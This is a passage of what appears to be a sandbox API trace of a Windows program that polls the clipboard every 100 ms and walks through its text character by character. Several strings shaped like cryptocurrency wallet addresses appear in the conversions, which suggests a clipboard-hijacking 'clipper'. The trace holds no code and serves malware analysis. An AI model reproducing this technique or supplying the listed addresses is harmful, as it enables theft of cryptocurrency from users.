lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.131] Sleep (dwMilliseconds=0x64) [0049.240] GetOpenClipboardWindow () returned 0x0 [0049.240] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.240] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.240] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.240] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.240] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.240] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.240] CloseClipboard () returned 1 [0049.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.245] Sleep (dwMilliseconds=0x64) [0049.351] GetOpenClipboardWindow () returned 0x0 [0049.351] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.351] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.351] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.351] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.351] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.351] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.351] CloseClipboard () returned 1 [0049.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 